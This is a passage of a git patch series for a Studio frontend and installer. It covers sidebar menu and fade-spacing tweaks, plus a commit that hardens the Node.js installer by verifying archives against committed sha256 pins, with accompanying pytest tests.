+                  <DropdownMenuGroup>
+                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                      Combined
+                    </DropdownMenuLabel>
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
+                      <DropdownMenuItem key={`ap-m-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, true)}>
+                        {label}
+                      </DropdownMenuItem>
+                    ))}
+                  </DropdownMenuGroup>
                   <DropdownMenuSeparator />
-                  {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
-                    <DropdownMenuItem key={`ap-s-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, false)}>
-                      {label} (per chat)
-                    </DropdownMenuItem>
-                  ))}
+                  <DropdownMenuGroup>
+                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                      Per chat
+                    </DropdownMenuLabel>
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
+                      <DropdownMenuItem key={`ap-s-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, false)}>
+                        {label}
+                      </DropdownMenuItem>
+                    ))}
+                  </DropdownMenuGroup>
                 </DropdownMenuSubContent>
               </DropdownMenuSub>
               <DropdownMenuSub>
                 <DropdownMenuSubTrigger>Export Projects + Recents</DropdownMenuSubTrigger>
                 <DropdownMenuSubContent className="w-52">
-                  {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
-                    <DropdownMenuItem key={`all-m-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, true)}>
-                      {label} (combined)
-                    </DropdownMenuItem>
-                  ))}
+                  <DropdownMenuGroup>
+                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                      Combined
+                    </DropdownMenuLabel>
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
+                      <DropdownMenuItem key={`all-m-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, true)}>
+                        {label}
+                      </DropdownMenuItem>
+                    ))}
+                  </DropdownMenuGroup>
                   <DropdownMenuSeparator />
-                  {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
-                    <DropdownMenuItem key={`all-s-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, false)}>
-                      {label} (per chat)
-                    </DropdownMenuItem>
-                  ))}
+                  <DropdownMenuGroup>
+                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                      Per chat
+                    </DropdownMenuLabel>
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
+                      <DropdownMenuItem key={`all-s-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, false)}>
+                        {label}
+                      </DropdownMenuItem>
+                    ))}
+                  </DropdownMenuGroup>
                 </DropdownMenuSubContent>
               </DropdownMenuSub>
             </DropdownMenuContent>

From 61eb9eabd05638f17b7ec41daaf6c1e057043494 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 24 Jun 2026 05:46:39 -0700
Subject: [PATCH 095/306] Studio: tighten the sidebar footer spacing and
 update-card fade (#6641)

Footer padding moves from pt-3 pb-4 to pb-3 with a conditional top: pt-1.5
when the update card is shown so the fade hugs it, pt-2.5 for the profile
on its own. When the update card is shown, shorten the fade above it
(h-10 -> h-3) so the list reads closer to the card.
---
 studio/frontend/src/components/app-sidebar.tsx | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 71956ff9db..443b114caa 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -1374,14 +1374,24 @@ export function AppSidebar() {
         )}
       </SidebarContent>
 
-      <SidebarFooter className="relative pt-3 pb-4 group-data-[collapsible=icon]:px-0">
+      <SidebarFooter
+        className={cn(
+          "relative pb-3 group-data-[collapsible=icon]:px-0",
+          // Tighter top with the update card so the fade hugs it; fuller top
+          // for the profile on its own.
+          showUpdateCard ? "pt-1.5" : "pt-2.5",
+        )}
+      >
         {/* Fade above the profile box, shown only when there's more list below
             the fold; at the bottom (or short lists) it fades so the last row
             shows fully (Gemini-style). right-2 keeps it clear of the 8px scrollbar gutter. */}
         <div
           aria-hidden="true"
           className={cn(
-            "pointer-events-none absolute left-0 right-2 bottom-full h-10 bg-gradient-to-t from-[var(--sidebar)] to-[rgb(from_var(--sidebar)_r_g_b/0)] transition-opacity duration-200",
+            "pointer-events-none absolute left-0 right-2 bottom-full bg-gradient-to-t from-[var(--sidebar)] to-[rgb(from_var(--sidebar)_r_g_b/0)] transition-opacity duration-200",
+            // Shorter fade when the update card sits above the profile so the
+            // list reads closer to it.
+            showUpdateCard ? "h-3" : "h-10",
             canScrollDown ? "opacity-100" : "opacity-0",
           )}
         />

From 8750d86cf78cd62511049c0916cfbf386843cf72 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 24 Jun 2026 05:46:49 -0700
Subject: [PATCH 096/306] Studio: keep the sidebar bottom fade in sync when
 groups collapse (#6640)

The fade is recomputed on a group's open/close state flip, but the groups
animate their height, so it measured scrollHeight mid-animation and the
fade could vanish at random. Re-measure on the collapsible animationend,
and add the missing pinnedOpen dep to the recompute effect.
---
 studio/frontend/src/components/app-sidebar.tsx | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 443b114caa..f563f9ae59 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -454,6 +454,7 @@ export function AppSidebar() {
     chatOpen,
     trainOpen,
     runsOpen,
+    pinnedOpen,
     isStudioRoute,
   ]);
 
@@ -1103,6 +1104,16 @@ export function AppSidebar() {
       <SidebarContent
         ref={scrollRef}
         onScroll={(e) => syncScrollState(e.currentTarget)}
+        // Collapsible groups animate their height; re-measure the fade once the
+        // open/close animation settles, not on the (still-animating) state flip.
+        onAnimationEnd={(e) => {
+          if (
+            e.animationName === "collapsible-down" ||
+            e.animationName === "collapsible-up"
+          ) {
+            syncScrollState(e.currentTarget);
+          }
+        }}
         className={cn(
           // pb-2 keeps the last row's rounded highlight clear of the
           // overflow clip edge so its bottom corners aren't shaved off.

From c7c353d7402f8e4d3e21d35cd685a9406ce06d2b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 24 Jun 2026 05:47:58 -0700
Subject: [PATCH 097/306] Pin isolated Node.js installer to committed sha256
 digests (#6625)

* Pin isolated Node.js installer to committed sha256 digests

The isolated Node installer verified each downloaded archive only against
SHASUMS256.txt fetched from the same nodejs.org origin as the archive, so a
compromised CDN or TLS path could serve a malicious archive plus a matching
checksum and gain code execution when the extracted node is run during the
npm floor check and version probe.

Anchor trust in studio/node_prebuilt_pins.json, a committed manifest of
per-arch sha256 digests, and verify archives against it. The default channel
installs the pinned version and never fetches the remote SHASUMS. Unpinned
lts, latest, or explicit versions fail closed via UnpinnedNodeRefused unless
UNSLOTH_NODE_ALLOW_UNVERIFIED=1, and the refusal is not swallowed by the
keep-existing-on-transient-failure path. Ship the manifest in package-data.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review nits on the pinned Node installer

- Drop the unused npm_min_major field from node_prebuilt_pins.json; the floor is
  the NPM_MIN_MAJOR module constant and the dead field could silently drift.
- Reword the unpinned-refusal message so it does not tell a user already on the
  default to install it, and point the "add a pin" hint at the exact asset.
- Decode the opt-in SHASUMS body with errors="replace" so a non-UTF8 response
  yields a clean PrebuiltFallback instead of an uncaught UnicodeDecodeError.
- Tests: assert the refusal message (guards the main() catch order, not just the
  exit code), cover malformed-manifest parsing, and drive the opt-in remote-SHASUMS
  path end to end through install_prebuilt.

* Tighten comments in the pinned Node installer

Collapse multi-line rationale comments to single lines, drop docstrings on the
obvious internal helpers (load_pins, pinned_sha256), and shorten the manifest
note. Comments/docstrings only; verified code-unchanged via AST comparison.

* Address Codex review: verify pins on existing installs; tomllib fallback

- existing_install_matches now takes an expected_sha and the short-circuit passes
  the committed pin, so a version-matching but non-pinned or tampered install (e.g.
  from the old remote-SHASUMS path) is re-verified instead of kept. An unpinned
  target without opt-in no longer short-circuits on an existing install; it falls
  through to the UnpinnedNodeRefused fail-closed path.
- The package-data test uses pytest.importorskip(tomllib/tomli) so it does not
  ModuleNotFoundError on the supported 3.9/3.10 interpreters.

* Make the transient-failure keep-existing path pin-aware

The previous commit added the pinned-digest check to the existing-install
short-circuit but not to the post-download-failure fallback, which still kept any
runnable same-version install via existing_install_usable(). A same-version
install whose recorded sha256 is not the pin could therefore be kept on a
transient download failure, the exact artifact the short-circuit rejects. Refuse
to keep a same-version pin-mismatched install there too; a different usable
version is still kept for offline resilience.

* Bump pinned default Node to the current 24 LTS (24.18.0)

Node 24 LTS moved to 24.18.0; since the default channel now resolves straight to
the manifest, a frozen 24.17.0 would downgrade fresh installs and make
UNSLOTH_NODE_VERSION=lts refuse the current LTS as unpinned. Update default_version
and all six per-arch digests (verified against the official SHASUMS256.txt), and
point the test INDEX/short-circuit fixtures at the new LTS.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 pyproject.toml                                |   1 +
 studio/install_node_prebuilt.py               | 167 +++++++++-
 studio/node_prebuilt_pins.json                |  15 +
 .../test_install_node_prebuilt_logic.py       | 311 +++++++++++++++++-
 4 files changed, 468 insertions(+), 26 deletions(-)
 create mode 100644 studio/node_prebuilt_pins.json

diff --git a/pyproject.toml b/pyproject.toml
index dd957766b9..bf4b118d68 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -46,6 +46,7 @@ studio = [
     "*.sh",
     "*.ps1",
     "*.bat",
+    "node_prebuilt_pins.json",
     "frontend/dist/**/*",
     "frontend/*.json",
     "frontend/*.ts",
diff --git a/studio/install_node_prebuilt.py b/studio/install_node_prebuilt.py
index bc67189e2b..4038216eef 100644
--- a/studio/install_node_prebuilt.py
+++ b/studio/install_node_prebuilt.py
@@ -9,6 +9,9 @@ Downloads an official Node.js archive from nodejs.org into an isolated
 LTS clears the Studio frontend build floor (Vite 8: Node ^20.19 || >=22.12,
 npm >= 11) with the npm it bundles.
 
+Archives are verified against sha256 digests pinned in ``node_prebuilt_pins.json``
+(committed in-tree), not a checksum re-fetched from the same origin as the archive.
+
 Mirrors ``install_llama_prebuilt.py`` so the setup scripts drive it the same way.
 Exit codes: 0 success, 1 error, 2 fallback, 3 busy. A re-run that already matches
 logs "already matches" and returns 0 without downloading (the scripts grep it).
@@ -65,6 +68,14 @@ INSTALL_STAGING_ROOT_NAME = ".staging"
 METADATA_FILENAME = "UNSLOTH_NODE_PREBUILT_INFO.json"
 METADATA_SCHEMA_VERSION = 1
 
+# Trust anchor: verify archives against sha256 pins committed in
+# node_prebuilt_pins.json (in-tree, code-reviewed), not a same-origin checksum.
+PINS_FILENAME = "node_prebuilt_pins.json"
+PINS_SCHEMA_VERSION = 1
+DEFAULT_NODE_CHANNEL = "pinned"
+# Opt-in to install an unpinned version, trusting the same-origin SHASUMS256.txt.
+ALLOW_UNVERIFIED_ENV = "UNSLOTH_NODE_ALLOW_UNVERIFIED"
+
 # PowerShell renders stderr as NativeCommandError noise; main() flips logs to stdout.
 _LOG_TO_STDOUT = False
 
@@ -73,6 +84,11 @@ class PrebuiltFallback(RuntimeError):
     """Recoverable failure -- caller should fall back (exit code 2)."""
 
 
+class UnpinnedNodeRefused(PrebuiltFallback):
+    """Unpinned Node requested without opt-in. Distinct type so the orchestrator
+    re-raises it instead of letting the keep-existing path swallow the refusal."""
+
+
 class BusyInstallConflict(RuntimeError):
     """Another process holds the install lock (exit code 3)."""
 
@@ -311,6 +327,81 @@ def download_file_verified(
             raise PrebuiltFallback(f"{label} checksum mismatch after retry")
 
 
+# ── Pinned digest manifest (trust anchor) ──
+def pins_path() -> Path:
+    return Path(__file__).resolve().parent / PINS_FILENAME
+
+
+def load_pins() -> dict:
+    path = pins_path()
+    try:
+        data = json.loads(path.read_text(encoding = "utf-8"))
+    except FileNotFoundError as exc:
+        raise PrebuiltFallback(f"pinned Node manifest missing: {path}") from exc
+    except (json.JSONDecodeError, OSError) as exc:
+        raise PrebuiltFallback(f"pinned Node manifest unreadable ({path}): {exc}") from exc
+    if not isinstance(data, dict) or data.get("schema_version") != PINS_SCHEMA_VERSION:
+        raise PrebuiltFallback(f"pinned Node manifest has an unexpected schema: {path}")
+    return data
+
+
+def pinned_default_version(pins: dict) -> str:
+    version = str(pins.get("default_version", "")).lstrip("v")
+    if not _version_tuple(version):
+        raise PrebuiltFallback("pinned Node manifest is missing a valid 'default_version'")
+    return version
+
+
+def pinned_sha256(pins: dict, version: str, asset_name: str) -> str | None:
+    versions = pins.get("versions")
+    if not isinstance(versions, dict):
+        return None
+    entry = versions.get(version.lstrip("v"))
+    if not isinstance(entry, dict):
+        return None
+    digest = entry.get(asset_name)
+    if not isinstance(digest, str):
+        return None
+    digest = digest.strip().lower()
+    if len(digest) == 64 and all(c in "0123456789abcdef" for c in digest):
+        return digest
+    return None
+
+
+def allow_unverified_node() -> bool:
+    return os.environ.get(ALLOW_UNVERIFIED_ENV, "").strip().lower() in {"1", "true", "yes", "on"}
+
+
+def resolve_expected_sha256(pins: dict, version: str, asset: str, *, allow_unverified: bool) -> str:
+    """Sha256 to verify the archive against: the committed pin, or (only with explicit
+    opt-in) the same-origin SHASUMS256.txt. Unpinned without opt-in is refused."""
+    pinned = pinned_sha256(pins, version, asset)
+    if pinned is not None:
+        log(f"verifying {asset} against pinned sha256 from {PINS_FILENAME}")
+        return pinned
+
+    if not allow_unverified:
+        raise UnpinnedNodeRefused(
+            f"refusing to install Node v{version}: {asset} is not in the pinned manifest "
+            f"({PINS_FILENAME}); its only checksum would arrive over the same channel as the "
+            f"archive. Use the pinned default version (unset UNSLOTH_NODE_VERSION), add a pin "
+            f"for {asset}, or set {ALLOW_UNVERIFIED_ENV}=1 to trust the upstream SHASUMS256.txt "
+            f"at your own risk."
+        )
+
+    log(
+        f"WARNING: {asset} is not pinned; trusting upstream SHASUMS256.txt because "
+        f"{ALLOW_UNVERIFIED_ENV} is set. This checksum shares the archive's origin and is "
+        f"not an independent integrity guarantee."
+    )
+    # A non-UTF8 body just yields no hex match below -> clean PrebuiltFallback.
+    shasums = download_bytes(node_shasums_url(version), timeout = 30).decode("utf-8", "replace")
+    expected = expected_sha256_for(shasums, asset)
+    if not expected:
+        raise PrebuiltFallback(f"no sha256 for {asset} in SHASUMS256.txt (v{version})")
+    return expected
+
+
 # ── Safe archive extraction (zip + tar.gz, traversal/symlink guarded) ──
 def _safe_extract_path(base: Path, member_name: str) -> Path:
     member_path = Path(member_name.replace("\\", "/"))
@@ -583,11 +674,21 @@ def load_metadata(install_dir: Path) -> dict | None:
     return data if isinstance(data, dict) else None
 
 
-def existing_install_matches(install_dir: Path, host: HostInfo, *, version: str) -> bool:
-    """True iff the on-disk install is exactly this version and runs."""
+def existing_install_matches(
+    install_dir: Path,
+    host: HostInfo,
+    *,
+    version: str,
+    expected_sha: str | None = None,
+) -> bool:
+    """True iff the on-disk install is exactly this version, runs, and (when
+    expected_sha is given) was recorded with that digest, so a non-pinned or
+    tampered artifact is not kept just because its version string matches."""
     meta = load_metadata(install_dir)
     if not meta or meta.get("version") != version:
         return False
+    if expected_sha is not None and meta.get("sha256") != expected_sha:
+        return False
     if installed_node_version(install_dir, host) != version:
         return False
     npm_major = installed_npm_major(install_dir, host)
@@ -634,8 +735,12 @@ def _ensure_npm_floor(install_dir: Path, host: HostInfo) -> None:
 # ── Orchestration ──
 def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force: bool) -> int:
     host = detect_host()
+    pins = load_pins()
 
-    if channel in {"lts", "latest"}:
+    if channel in {"", "pinned", "default"}:
+        # Default path: the committed pin, no index.json round-trip.
+        version = pinned_default_version(pins)
+    elif channel in {"lts", "latest"}:
         try:
             index = fetch_json(NODE_DIST_INDEX)
         except Exception as exc:  # noqa: BLE001
@@ -658,21 +763,35 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
     asset = node_asset_name(version, host)
     log(f"target Node v{version} ({asset})")
 
-    if not force and existing_install_matches(install_dir, host, version = version):
+    # Only keep an existing install if it matches the committed pin (or the caller
+    # opted out of pinning); an unpinned target without opt-in falls through to the
+    # refusal in resolve_expected_sha256 rather than short-circuiting on it.
+    pin = pinned_sha256(pins, version, asset)
+    allow_unverified = allow_unverified_node()
+    may_keep = pin is not None or allow_unverified
+
+    if (
+        not force
+        and may_keep
+        and existing_install_matches(install_dir, host, version = version, expected_sha = pin)
+    ):
         log(f"existing Node install already matches v{version}; nothing to do")
         return EXIT_SUCCESS
 
     with install_lock(install_lock_path(install_dir)):
         # Re-check under the lock: a concurrent run may have just finished.
-        if not force and existing_install_matches(install_dir, host, version = version):
+        if (
+            not force
+            and may_keep
+            and existing_install_matches(install_dir, host, version = version, expected_sha = pin)
+        ):
             log(f"existing Node install already matches v{version}; nothing to do")
             return EXIT_SUCCESS
 
         try:
-            shasums = download_bytes(node_shasums_url(version), timeout = 30).decode("utf-8")
-            expected_sha = expected_sha256_for(shasums, asset)
-            if not expected_sha:
-                raise PrebuiltFallback(f"no sha256 for {asset} in SHASUMS256.txt (v{version})")
+            expected_sha = resolve_expected_sha256(
+                pins, version, asset, allow_unverified = allow_unverified
+            )
 
             staging_root = install_dir.parent / INSTALL_STAGING_ROOT_NAME
             staging_root.mkdir(parents = True, exist_ok = True)
@@ -705,10 +824,22 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
                     staging_root.rmdir()
                 except OSError:
                     pass
+        except UnpinnedNodeRefused:
+            # A policy refusal, not a transient failure: fail closed, never keep-existing.
+            raise
         except Exception as exc:  # noqa: BLE001
-            # A newer Node exists upstream but the shasums/archive fetch failed;
-            # keep an existing usable Node rather than aborting the update.
-            if not force and existing_install_usable(install_dir, host):
+            # Transient download/verify failure: keep an existing usable Node, but
+            # never keep a same-version install whose recorded digest is not the pin
+            # (the artifact the short-circuit above just rejected). A different usable
+            # version is still kept for offline resilience.
+            meta = load_metadata(install_dir)
+            pin_mismatch = (
+                pin is not None
+                and bool(meta)
+                and meta.get("version") == version
+                and meta.get("sha256") != pin
+            )
+            if not force and not pin_mismatch and existing_install_usable(install_dir, host):
                 log(f"Node download failed ({exc}); keeping existing isolated Node")
                 return EXIT_SUCCESS
             raise
@@ -733,8 +864,12 @@ def main(argv: list[str] | None = None) -> int:
     )
     parser.add_argument(
         "--node-version",
-        default = os.environ.get("UNSLOTH_NODE_VERSION", "lts"),
-        help = "'lts' (default), 'latest', or an explicit version like 24.4.1",
+        default = os.environ.get("UNSLOTH_NODE_VERSION", DEFAULT_NODE_CHANNEL),
+        help = (
+            f"'pinned' (default; installs the digest-pinned version from {PINS_FILENAME}), "
+            f"'lts', 'latest', or an explicit version like 24.4.1. Non-pinned versions require "
+            f"{ALLOW_UNVERIFIED_ENV}=1."
+        ),
     )
     parser.add_argument("--min-major", type = int, default = NODE_MIN_LTS_MAJOR)
     parser.add_argument(
@@ -753,6 +888,10 @@ def main(argv: list[str] | None = None) -> int:
     except BusyInstallConflict as exc:
         log(str(exc))
         return EXIT_BUSY
+    except UnpinnedNodeRefused as exc:
+        # Catch before PrebuiltFallback so the refusal logs its own message.
+        log(str(exc))
+        return EXIT_FALLBACK
     except PrebuiltFallback as exc:
         log(f"prebuilt unavailable: {exc}")
         return EXIT_FALLBACK
diff --git a/studio/node_prebuilt_pins.json b/studio/node_prebuilt_pins.json
new file mode 100644
index 0000000000..d279c04316
--- /dev/null
+++ b/studio/node_prebuilt_pins.json
@@ -0,0 +1,15 @@
+{
+  "schema_version": 1,
+  "comment": "Trust anchor for install_node_prebuilt.py: sha256 frozen from the official nodejs.org SHASUMS256.txt. To bump: update default_version and every per-asset digest from the new SHASUMS256.txt.",
+  "default_version": "24.18.0",
+  "versions": {
+    "24.18.0": {
+      "node-v24.18.0-linux-x64.tar.gz": "783130984963db7ba9cbd01089eaf2c2efb055c7c1693c943174b967b3050cb8",
+      "node-v24.18.0-linux-arm64.tar.gz": "6b4484c2190274175df9aa8f28e2d758a819cb1c1fe6ab481e2f95b463ab8508",
+      "node-v24.18.0-darwin-x64.tar.gz": "dfd0dbd3e721503434df7b7205e719f61b3a3a31b2bcf9729b8b91fea240f080",
+      "node-v24.18.0-darwin-arm64.tar.gz": "e1a97e14c99c803e96c7339403282ea05a499c32f8d83defe9ef5ec66f979ed1",
+      "node-v24.18.0-win-x64.zip": "0ae68406b42d7725661da979b1403ec9926da205c6770827f33aac9d8f26e821",
+      "node-v24.18.0-win-arm64.zip": "f274669adb93b1fd0fbf8f21fd078609e9dcc84333d4f2718d2dde3f9a161a01"
+    }
+  }
+}
diff --git a/tests/studio/install/test_install_node_prebuilt_logic.py b/tests/studio/install/test_install_node_prebuilt_logic.py
index 0c6da87655..5476702d65 100644
--- a/tests/studio/install/test_install_node_prebuilt_logic.py
+++ b/tests/studio/install/test_install_node_prebuilt_logic.py
@@ -120,7 +120,7 @@ def test_expected_sha256_rejects_malformed():
 # ── Version selection from index.json ──
 INDEX = [
     {"version": "v26.3.1", "lts": False},
-    {"version": "v24.17.0", "lts": "Krypton"},
+    {"version": "v24.18.0", "lts": "Krypton"},
     {"version": "v24.9.0", "lts": "Krypton"},
     {"version": "v22.20.0", "lts": "Jod"},
     {"version": "v20.19.0", "lts": "Iron"},
@@ -128,8 +128,8 @@ INDEX = [
 
 
 def test_select_lts_respects_min_major():
-    # Newest LTS at/above 24 -> 24.17.0 (22.x LTS is below the floor).
-    assert M.select_node_version(INDEX, channel = "lts", min_major = 24) == "24.17.0"
+    # Newest LTS at/above 24 -> 24.18.0 (22.x LTS is below the floor).
+    assert M.select_node_version(INDEX, channel = "lts", min_major = 24) == "24.18.0"
 
 
 def test_select_latest_overall():
@@ -301,10 +301,13 @@ def test_existing_install_matches_true_when_version_and_runtime_ok(tmp_path: Pat
 def test_install_prebuilt_short_circuits_when_version_matches(tmp_path: Path, monkeypatch):
     install_dir = tmp_path / "node"
     install_dir.mkdir()
-    M.write_metadata(install_dir, version = "24.17.0", asset = "x", sha256 = "y")
+    version = M.pinned_default_version(M.load_pins())  # == INDEX's newest LTS
+    asset = M.node_asset_name(version, _host("linux", "x64"))
+    pin = M.pinned_sha256(M.load_pins(), version, asset)  # short-circuit now needs the pin
+    M.write_metadata(install_dir, version = version, asset = asset, sha256 = pin)
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
     monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)
-    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.17.0")
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: version)
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
 
     def boom(*a, **k):
@@ -407,26 +410,25 @@ def test_install_prebuilt_rejects_explicit_below_floor(tmp_path: Path, monkeypat
         M.install_prebuilt(install_dir, channel = "20.18.0", min_major = 24, force = False)
 
 
-def test_install_prebuilt_keeps_existing_when_shasums_fetch_fails(tmp_path: Path, monkeypatch):
-    # index.json resolves a newer version, but the later SHASUMS fetch fails and a
-    # usable older isolated Node is on disk -> keep it instead of aborting.
+def test_install_prebuilt_keeps_existing_when_download_fails(tmp_path: Path, monkeypatch):
+    # Archive download fails but a usable older Node is on disk -> keep it.
     install_dir = tmp_path / "node"
     install_dir.mkdir()
     M.write_metadata(install_dir, version = "24.9.0", asset = "x", sha256 = "y")
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
-    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # newest LTS = 24.17.0
+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # newest LTS = 24.18.0 (pinned)
     monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
-    monkeypatch.setattr(M, "download_bytes", _offline)  # SHASUMS fetch fails
+    monkeypatch.setattr(M, "download_file_verified", _offline)  # archive download fails
     rc = M.install_prebuilt(install_dir, channel = "lts", min_major = 24, force = False)
     assert rc == M.EXIT_SUCCESS
 
 
-def test_install_prebuilt_reraises_shasums_failure_without_existing(tmp_path: Path, monkeypatch):
+def test_install_prebuilt_reraises_download_failure_without_existing(tmp_path: Path, monkeypatch):
     install_dir = tmp_path / "node"  # nothing usable on disk
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
     monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)
-    monkeypatch.setattr(M, "download_bytes", _offline)
+    monkeypatch.setattr(M, "download_file_verified", _offline)
     with pytest.raises(OSError):
         M.install_prebuilt(install_dir, channel = "lts", min_major = 24, force = False)
 
@@ -475,3 +477,288 @@ def test_ensure_npm_floor_noop_when_npm_meets_bar(tmp_path: Path, monkeypatch):
 
     monkeypatch.setattr(M, "_run_node", boom)
     M._ensure_npm_floor(tmp_path / "node", _host("linux", "x64"))
+
+
+# ── Pinned digest manifest (trust anchor) ──
+# Archives must be verified against committed pins, never a same-origin re-fetch.
+ALL_SUPPORTED_HOSTS = [
+    ("linux", "x64"),
+    ("linux", "arm64"),
+    ("darwin", "x64"),
+    ("darwin", "arm64"),
+    ("win", "x64"),
+    ("win", "arm64"),
+]
+
+
+def test_load_pins_exposes_valid_default_version():
+    pins = M.load_pins()
+    version = M.pinned_default_version(pins)
+    assert M._version_tuple(version)  # parses as a real version
+    assert M._meets_node_floor(version)  # the pinned default clears the build floor
+
+
+def test_pinned_manifest_covers_every_supported_asset():
+    # A future Node bump must pin all six os/arch archives or a host loses its anchor.
+    pins = M.load_pins()
+    version = M.pinned_default_version(pins)
+    for node_os, node_arch in ALL_SUPPORTED_HOSTS:
+        host = _host(node_os, node_arch)
+        asset = M.node_asset_name(version, host)
+        digest = M.pinned_sha256(pins, version, asset)
+        assert digest is not None and len(digest) == 64, f"missing pin for {asset}"
+        assert all(c in "0123456789abcdef" for c in digest)
+
+
+def test_pinned_sha256_unknown_pair_returns_none():
+    pins = M.load_pins()
+    assert M.pinned_sha256(pins, "99.0.0", "node-v99.0.0-linux-x64.tar.gz") is None
+    version = M.pinned_default_version(pins)
+    assert M.pinned_sha256(pins, version, "node-vX-bogus-arch.tar.gz") is None
+
+
+def test_load_pins_rejects_bad_schema(tmp_path: Path, monkeypatch):
+    bad = tmp_path / "node_prebuilt_pins.json"
+    bad.write_text(json.dumps({"schema_version": 999}))
+    monkeypatch.setattr(M, "pins_path", lambda: bad)
+    with pytest.raises(PrebuiltFallback):
+        M.load_pins()
+
+
+def test_load_pins_raises_when_missing(tmp_path: Path, monkeypatch):
+    monkeypatch.setattr(M, "pins_path", lambda: tmp_path / "does_not_exist.json")
+    with pytest.raises(PrebuiltFallback):
+        M.load_pins()
+
+
+def test_resolve_expected_sha256_uses_pin_without_touching_network(monkeypatch):
+    pins = M.load_pins()
+    version = M.pinned_default_version(pins)
+    asset = M.node_asset_name(version, _host("linux", "x64"))
+
+    def boom(*a, **k):
+        raise AssertionError("pinned path must not fetch the remote SHASUMS256.txt")
+
+    monkeypatch.setattr(M, "download_bytes", boom)
+    sha = M.resolve_expected_sha256(pins, version, asset, allow_unverified = False)
+    assert sha == M.pinned_sha256(pins, version, asset)
+
+
+def test_resolve_expected_sha256_failcloses_on_unpinned(monkeypatch):
+    pins = M.load_pins()
+
+    def boom(*a, **k):
+        raise AssertionError("must not reach the network when refusing an unpinned version")
+
+    monkeypatch.setattr(M, "download_bytes", boom)
+    with pytest.raises(PrebuiltFallback):
+        M.resolve_expected_sha256(
+            pins, "26.3.1", "node-v26.3.1-linux-x64.tar.gz", allow_unverified = False
+        )
+
+
+def test_resolve_expected_sha256_optin_falls_back_to_remote_shasums(monkeypatch):
+    pins = M.load_pins()
+    asset = "node-v26.3.1-linux-x64.tar.gz"
+    remote_sha = "d" * 64
+    monkeypatch.setattr(M, "download_bytes", lambda url, **k: f"{remote_sha}  {asset}\n".encode())
+    # Only with the explicit opt-in does the legacy remote-checksum path run.
+    sha = M.resolve_expected_sha256(pins, "26.3.1", asset, allow_unverified = True)
+    assert sha == remote_sha
+
+
+@pytest.mark.parametrize(
+    "value,expected",
+    [("1", True), ("true", True), ("YES", True), ("on", True), ("0", False), ("", False)],
+)
+def test_allow_unverified_node_reads_env(monkeypatch, value, expected):
+    monkeypatch.setenv(M.ALLOW_UNVERIFIED_ENV, value)
+    assert M.allow_unverified_node() is expected
+
+
+def test_install_prebuilt_default_channel_resolves_pinned_version(tmp_path: Path, monkeypatch):
+    # Default channel installs the pinned version with no index.json round-trip.
+    pins = M.load_pins()
+    version = M.pinned_default_version(pins)
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    asset = M.node_asset_name(version, _host("linux", "x64"))
+    pin = M.pinned_sha256(pins, version, asset)  # kept only if the recorded digest is the pin
+    M.write_metadata(install_dir, version = version, asset = asset, sha256 = pin)
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: version)
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+
+    def boom(*a, **k):
+        raise AssertionError("default channel must not hit nodejs.org when the install matches")
+
+    monkeypatch.setattr(M, "fetch_json", boom)  # no index.json
+    monkeypatch.setattr(M, "download_file", boom)
+    monkeypatch.setattr(M, "download_bytes", boom)
+    rc = M.install_prebuilt(install_dir, channel = "pinned", min_major = 24, force = False)
